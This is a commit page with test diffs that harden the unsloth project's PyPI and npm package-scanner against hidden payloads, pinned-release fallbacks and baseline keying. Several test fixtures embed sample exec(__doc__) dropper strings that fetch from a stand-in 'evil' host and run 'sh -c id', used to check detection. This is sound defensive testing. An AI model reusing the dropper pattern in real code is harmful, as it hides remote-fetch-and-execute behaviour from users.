ceos/unsloth
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

Package scanners: close fail-open gaps in the sdist fallback and hidden-payload paths (#6359)

Browse source 
* Package scanners: close fail-open gaps in the sdist fallback and hidden-payload paths

Follow-up hardening on the now-blocking scanners so the enforcing gate cannot
report clean while a malicious artifact goes unscanned.

scan_packages.py
- Hidden payload: also flag a network call AND an os/subprocess exec that live
  only in a blanked docstring/string of an exec/eval file (the fetch-then-run
  shape of an exec(__doc__) dropper). Either alone in real code was already
  covered; hidden together they are the payload.
- Pinned releases fail closed: _release_files no longer falls back to the latest
  artifact when a pinned version is missing or empty, so a yanked/bad pin is an
  error instead of a different file being scanned in its place.
- requires_dist is read from the pinned release's metadata, not the project-level
  (latest) document, so a sdist-only pin follows its own dependency tree.
- Environment markers are evaluated (PEP 508) instead of dropping any marker that
  merely contains the word extra, so default-true markers like extra != 'dev' are
  kept; conservative fallback keeps a dep on any uncertainty.
- Transitive recovery is a depth-bounded worklist: a wheel dependency whose own
  child is sdist-only is fetched (--no-deps) and scanned, then its children are
  recovered in turn, rather than being silently skipped.

scan_npm_packages.py
- Baseline keys use the package-relative path instead of the basename, so the
  same basename in a different directory is not over-suppressed.

Tests cover each case; full scripts pass AST and ruff checks.

* Address review: tighten marker scope, decoy-proof the dropper check, fail closed on missing pin metadata

- Markers: keep any dep whose marker can hold on another install target
  (sys_platform == 'win32', python_version == '3.13'); only drop a marker that
  depends solely on extra and is false with no extra. A scanner runs on one
  target but must cover code installed on others. Pure-extra markers are
  evaluated against default_environment() with extra unset.
- Hidden dropper: the network+exec docstring check now inspects the removed
  (blanked) span directly, so a benign visible network or subprocess call cannot
  mask a payload that still lives in a docstring. Carrier checks stay
  blanked-only (an in-code carrier is already caught by the normal check), so
  corpus findings are unchanged.
- requires_dist: a pinned version whose own metadata cannot be fetched recovers
  nothing rather than substituting the latest release's dependency tree.
- Transitive recovery: the last-ditch direct-sdist branch also chases the
  recovered package's declared deps, matching the other branches.
- npm baseline: schema bumped to v2 (package-relative keys); a pre-v2 baseline
  with entries is ignored (fail closed) instead of mis-applying basename keys.

Tests cover each case; scripts pass AST, ruff, and the import-hoist verifier.

* Scanner: exclude comments from hidden-payload check, flag missing pin metadata as incomplete

Hidden network+exec detection now inspects only docstring/string spans (what exec(__doc__)/exec(<str>) can actually run), so a real exec() beside comments that mention a network and a subprocess call no longer false-positives. Missing pinned-release metadata in transitive recovery records a download_error so the --with-deps path fails closed instead of treating it as no dependencies. Adds regression tests for both.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
This commit is contained in:
Daniel Han 2026-06-18 06:50:16 -07:00 • committed by GitHub
commit 07c7f9bfca
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
5 changed files with 380 additions and 55 deletions
Download patch file Download diff file Expand all files Collapse all files

51
tests/security/test_scan_npm_packages.py
View file

@ -340,22 +340,32 @@ def test_norm_pkg_name_strips_version_keeps_scope():
def test_baseline_key_is_version_stable():
# Same package/file/pattern across a version bump -> identical key.
a = _finding("left-pad@1.0.0", "node_modules/left-pad/index.js", "obfuscated-blob")
b = _finding("left-pad@9.9.9", "left-pad/index.js", "obfuscated-blob")
# Same in-package path across a version bump -> identical key. npm tarballs
# root every file at ``package/``, so the path is stable; only the version in
# the display name changes.
a = _finding("left-pad@1.0.0", "package/index.js", "obfuscated-blob")
b = _finding("left-pad@9.9.9", "package/index.js", "obfuscated-blob")
assert snp._finding_key(a) == snp._finding_key(b)
def test_baseline_key_distinguishes_same_basename_diff_dir():
# Package-relative keying: the same basename in a different directory is a
# DIFFERENT key, so a new dist/ vs src/ file is not silently suppressed.
a = _finding("pkg@1.0.0", "package/dist/index.js", "obfuscated-blob")
b = _finding("pkg@1.0.0", "package/src/index.js", "obfuscated-blob")
assert snp._finding_key(a) != snp._finding_key(b)
def test_baseline_suppresses_listed_but_not_new_pattern(tmp_path):
bl = tmp_path / "bl.json"
bl.write_text(
json.dumps(
{
"version": 1,
"version": snp._BASELINE_SCHEMA_VERSION,
"entries": [
{
"package": "aws-sdk",
"file": "metadata.js",
"file": "package/metadata.js",
"pattern": "cred-surface-host (outbound)",
"severity": "HIGH",
}
@ -366,9 +376,9 @@ def test_baseline_suppresses_listed_but_not_new_pattern(tmp_path):
)
baseline = snp._load_baseline(str(bl))
listed = _finding("aws-sdk@2.0.0", "aws-sdk/metadata.js", "cred-surface-host (outbound)")
# A new pattern in the same file must NOT be suppressed.
new_kind = _finding("aws-sdk@2.0.0", "aws-sdk/metadata.js", "obfuscated-blob")
listed = _finding("aws-sdk@2.0.0", "package/metadata.js", "cred-surface-host (outbound)")
# A NEW kind of finding in the SAME file is a different pattern -> not suppressed.
new_kind = _finding("aws-sdk@2.0.0", "package/metadata.js", "obfuscated-blob")
active, suppressed = snp._partition_baseline([listed, new_kind], baseline)
assert listed in suppressed
assert new_kind in active
@ -377,9 +387,9 @@ def test_baseline_suppresses_listed_but_not_new_pattern(tmp_path):
def test_write_then_load_baseline_roundtrip(tmp_path):
bl = tmp_path / "out.json"
findings = [
_finding("evil@1.0.0", "evil/a.js", "obfuscated-blob", snp.CRITICAL),
_finding("evil@1.0.0", "evil/a.js", "obfuscated-blob", snp.CRITICAL), # dup
_finding("noise@1.0.0", "noise/b.js", "js-env-token", snp.MEDIUM), # below thresh
_finding("evil@1.0.0", "package/a.js", "obfuscated-blob", snp.CRITICAL),
_finding("evil@1.0.0", "package/a.js", "obfuscated-blob", snp.CRITICAL), # dup
_finding("noise@1.0.0", "package/b.js", "js-env-token", snp.MEDIUM), # below thresh
]
n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH])
assert n == 1 # dedup + MEDIUM excluded
@ -389,6 +399,25 @@ def test_write_then_load_baseline_roundtrip(tmp_path):
assert all(k[2] != "js-env-token" for k in keys)
def test_legacy_schema_baseline_is_ignored(tmp_path):
# A pre-v2 baseline stored basenames; its keys are ambiguous under
# package-relative matching, so a populated legacy file is ignored (fail
# closed) rather than silently suppressing a different same-named file.
bl = tmp_path / "legacy.json"
bl.write_text(
json.dumps(
{
"version": 1,
"entries": [
{"package": "aws-sdk", "file": "index.js", "pattern": "obfuscated-blob"}
],
}
),
encoding = "utf-8",
)
assert snp._load_baseline(str(bl)) == set()
def test_committed_baseline_is_empty_and_valid():
# Shipped baseline must parse and (by design) suppress nothing: the live corpus is clean.
path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json"

147
tests/security/test_scan_packages.py
View file

@ -356,6 +356,65 @@ def test_exec_with_payload_hidden_in_docstring_flagged():
assert not any("hidden in a docstring" in f.check for f in findings2)
def test_hidden_network_plus_exec_payload_flagged():
# exec(__doc__) dropper: the docstring (blanked by code-only scanning) holds
# BOTH a network fetch and an os/shell exec. Neither is a blob, but together
# they are the payload, so the gate must flag the pair.
payload = (
"import urllib.request, os\n"
"urllib.request.urlopen('http://x/y').read()\n"
"os.system('sh -c id')\n"
)
src = '"""' + payload + '"""\nexec(__doc__)\n'
findings = sp.check_py_file(src, "pkg/dropper.py", "pkg")
assert any("hidden network+exec payload" in f.check for f in findings)
def test_real_code_network_and_subprocess_not_hidden_combo():
# Both calls live in REAL code (covered by the normal checks); the hidden
# network+exec combo must NOT also fire on them.
src = (
"import subprocess, urllib.request\n"
"def run():\n"
" urllib.request.urlopen('http://x').read()\n"
" subprocess.Popen(['sh'])\n"
"exec('1 + 1')\n"
)
findings = sp.check_py_file(src, "pkg/real.py", "pkg")
assert not any("hidden network+exec payload" in f.check for f in findings)
def test_hidden_payload_survives_visible_decoy():
# A benign visible network call must not mask a docstring payload: the
# detector inspects the removed (blanked) span, not the whole stripped file.
payload = (
"import urllib.request, os\n"
"urllib.request.urlopen('http://evil/x').read()\n"
"os.system('sh -c id')\n"
)
src = (
'"""' + payload + '"""\n'
"import urllib.request\n"
"urllib.request.urlopen('http://benign/ok')\n" # visible decoy
"exec(__doc__)\n"
)
findings = sp.check_py_file(src, "pkg/dropper.py", "pkg")
assert any("hidden network+exec payload" in f.check for f in findings)
def test_comment_only_network_exec_not_flagged():
# Tokens only in comments are not executable by exec(); the hidden network+exec
# check inspects strings/docstrings (not comments), so this must stay clean.
src = (
"code = 'x = 1'\n"
"exec(code)\n"
"# urllib.request.urlopen('http://host/p').read()\n"
"# subprocess.run(['sh', '-c', 'id'])\n"
)
findings = sp.check_py_file(src, "pkg/ex.py", "pkg")
assert not any("hidden network+exec payload" in f.check for f in findings)
def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
bl = tmp_path / "bl.json"
listed = _mk(sp.CRITICAL, "fastapi", "fastapi/routing.py", "C2 polling/beaconing loop detected")
@ -467,16 +526,87 @@ def test_requires_dist_skips_extras():
"numpy (>=1.20)",
"torch ; extra == 'dev'", # optional extra -> skipped
"pyyaml>=5 ; python_version >= '3.8'", # non-extra marker -> kept
"payload>=1 ; extra != 'dev'", # default-true marker -> kept
],
)
specs = sp._requires_dist_names(meta, None)
# Version constraints preserved so a pinned dep is fetched, not latest.
specs = sp._requires_dist_names(meta)
# Version constraints are preserved so a pinned dep is fetched, not latest.
assert "numpy>=1.20" in specs
assert "pyyaml>=5" in specs
# The extra-gated dep is skipped entirely.
# A default-true marker that merely mentions ``extra`` is NOT optional.
assert "payload>=1" in specs
# The extra-gated dep is skipped entirely (no torch under any form).
assert not any(sp._extract_pkg_name(s) == "torch" for s in specs)
def test_marker_holds_by_default():
# Optional only when the extra is the sole gate.
assert sp._marker_holds_by_default("extra == 'dev'") is False
assert sp._marker_holds_by_default('extra == "dev"') is False
# Default-true markers that mention extra must be kept.
assert sp._marker_holds_by_default("extra != 'dev'") is True
assert sp._marker_holds_by_default("python_version >= '3.8' or extra == 'dev'") is True
# No marker / plain env marker -> kept.
assert sp._marker_holds_by_default("") is True
# Platform/python markers are kept: the scanner runs on one target but the
# package may install on another, so these deps must still be scanned.
assert sp._marker_holds_by_default("sys_platform == 'win32'") is True
assert sp._marker_holds_by_default("python_version == '3.13'") is True
assert sp._marker_holds_by_default("sys_platform == 'win32' and extra == 'gpu'") is True
def test_requires_dist_for_fails_closed_on_missing_pin_metadata(monkeypatch):
# The pinned release's own metadata cannot be fetched -> recover nothing
# rather than substituting the latest release's (wrong) dependency tree.
project = _meta([], requires = ["latestdep==9.9.9"])
monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: None if version else project)
assert sp._requires_dist_for("oldpkg", "1.0.0", project) == []
def test_requires_dist_for_uses_pinned_release(monkeypatch):
# Project-level (latest) metadata declares no malicious dep; the pinned
# release does. _requires_dist_for must follow the pinned release's tree.
project = _meta([], requires = ["harmless>=1"])
pinned = _meta([], requires = ["payload==1.0.0"])
monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: pinned if version else project)
specs = sp._requires_dist_for("oldpkg", "1.0.0", project)
assert "payload==1.0.0" in specs
assert "harmless>=1" not in specs
def test_requires_dist_for_records_incomplete_scan_error(monkeypatch):
# Missing pinned metadata must surface an incomplete-scan error, not a silent
# [] that a caller cannot tell apart from a genuine no-deps release.
project = _meta([], requires = ["latestdep==9.9.9"])
monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: None if version else project)
errors: list[str] = []
assert sp._requires_dist_for("oldpkg", "1.0.0", project, errors) == []
assert errors and "incomplete" in errors[0]
def test_release_files_pinned_missing_fails_closed():
# A pin absent from metadata must NOT fall back to the latest artifact.
meta = _meta(
[_f("sdist", "x-2.0.0.tar.gz", "https://files.pythonhosted.org/x-2.0.0.tar.gz")],
version = "2.0.0",
)
assert sp._release_files(meta, "9.9.9") == [] # missing pin -> empty, not latest
assert sp._release_has_wheel(meta, "9.9.9") is False
assert sp._release_files(meta, "2.0.0") # present pin still resolves
assert sp._release_files(meta, None) # unpinned still uses latest
def test_download_sdist_direct_missing_pin_does_not_scan_latest(tmp_path):
# Pinned version absent -> no sdist returned (never the latest file).
meta = _meta(
[_f("sdist", "x-2.0.0.tar.gz", "https://files.pythonhosted.org/x-2.0.0.tar.gz")],
version = "2.0.0",
)
fpath, err = sp._download_sdist_direct("x", "9.9.9", str(tmp_path), meta = meta)
assert fpath is None and "no sdist" in err
assert list(tmp_path.iterdir()) == []
def test_download_sdist_direct_refuses_non_pypi_url(tmp_path):
meta = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://evil.example/x.tar.gz")])
fpath, err = sp._download_sdist_direct("x", "1.0.0", str(tmp_path), meta = meta)
@ -494,7 +624,8 @@ def test_download_sdist_direct_writes_and_preserves_suffix(tmp_path, monkeypatch
payload = b"\x1f\x8b" + b"fake-tar-gz-bytes"
monkeypatch.setattr(sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(payload))
meta = _meta(
[_f("sdist", "langid-1.1.6.tar.gz", "https://files.pythonhosted.org/langid-1.1.6.tar.gz")]
[_f("sdist", "langid-1.1.6.tar.gz", "https://files.pythonhosted.org/langid-1.1.6.tar.gz")],
version = "1.1.6",
)
fpath, err = sp._download_sdist_direct("langid", "1.1.6", str(tmp_path), meta = meta)
assert err is None and fpath is not None
@ -520,10 +651,12 @@ def test_per_spec_genuine_failure_is_recorded_error(tmp_path, monkeypatch):
monkeypatch.setattr(
sp,
"_pypi_json",
lambda name: _meta([_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl")]),
lambda name, version = None: _meta(
[_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl")]
),
)
errors: list[str] = []
sp._resolve_per_spec_with_deps(["somepkg==1.0"], str(tmp_path), {}, errors)
sp._resolve_per_spec_with_deps(["somepkg==1.0.0"], str(tmp_path), {}, errors)
assert errors and "somepkg" in errors[0]
@ -537,7 +670,7 @@ def test_per_spec_sdist_only_is_not_error(tmp_path, monkeypatch):
monkeypatch.setattr(
sp,
"_pypi_json",
lambda name: _meta(
lambda name, version = None: _meta(
[_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x-1.0.0.tar.gz")]
),
)